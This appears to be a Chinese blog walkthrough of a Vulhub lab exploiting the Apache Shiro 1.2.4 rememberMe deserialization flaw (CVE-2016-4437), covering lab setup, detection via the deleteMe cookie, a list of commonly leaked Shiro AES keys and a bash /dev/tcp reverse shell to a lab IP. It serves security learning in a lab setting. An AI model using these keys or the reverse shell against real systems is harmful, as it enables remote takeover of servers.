Vulhub-Apache-Shiro反序列化漏洞

Apache Shiro 1.2.4反序列化漏洞

前言

shiro是Java的一款框架,主要用于身份验证这方面,在Apahce Shiro1.2.4之前的版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。实际上,只要Shiro RememberMe的AES密钥被泄露,就会产生反序列化漏洞。

所以今天来记录下shiro的漏洞利用方式。

正文

环境搭建

进入vulhub/shiro/CVE-2016-4437,开启靶场环境

docker-compose up -d

开启后访问靶机IP:8080端口,可以看到登录页面,即可以使用admin:123456登录。

Vulhub-Apache-Shiro反序列化漏洞

漏洞探测

我们随便输入用户和密码进行抓包,注意此时不点击Remember Me:

Vulhub-Apache-Shiro反序列化漏洞

然后放包,重新抓包,此时点击的Remember Me,情况如下:
Vulhub-Apache-Shiro反序列化漏洞

此时回包里出现deleteMe,说明可能存在shiro反序列化漏洞。

漏洞利用

要想实现shiro反序列化漏洞,就必须要知道它的Key,这个一般通过DNSlog注入获取,常见的Key如下

kPH+bIxk5D2deZiIxcaaaA==
wGiHplamyXlVB11UXWol8g==
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
3AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
U3ByaW5nQmxhZGUAAAAAAA==
wGiHplamyXlVB11UXWol8g==
6ZmI6I2j5Y+R5aSn5ZOlAA==

首先需要爆破AES密钥,这边爆破出第一个

然后进行密钥检测,存在Shiro框架,然后选择利用链来构造回显方式,成功发现利用链,即可利用功能区

Vulhub-Apache-Shiro反序列化漏洞

进行命令执行,成功回显:

Vulhub-Apache-Shiro反序列化漏洞

构*弹shell语句,进行反弹

bash -c 'exec bash -i &>/dev/tcp/192.168.37.134/8080 <&1'

监听端成功getshell

Vulhub-Apache-Shiro反序列化漏洞

上一篇:C#中 ??、 ?、 ?: 、?.、?[ ]


下一篇:Winforn中通过NPOI导出Excel时通过XSSFClientAnchor和XSSFPicture添加图片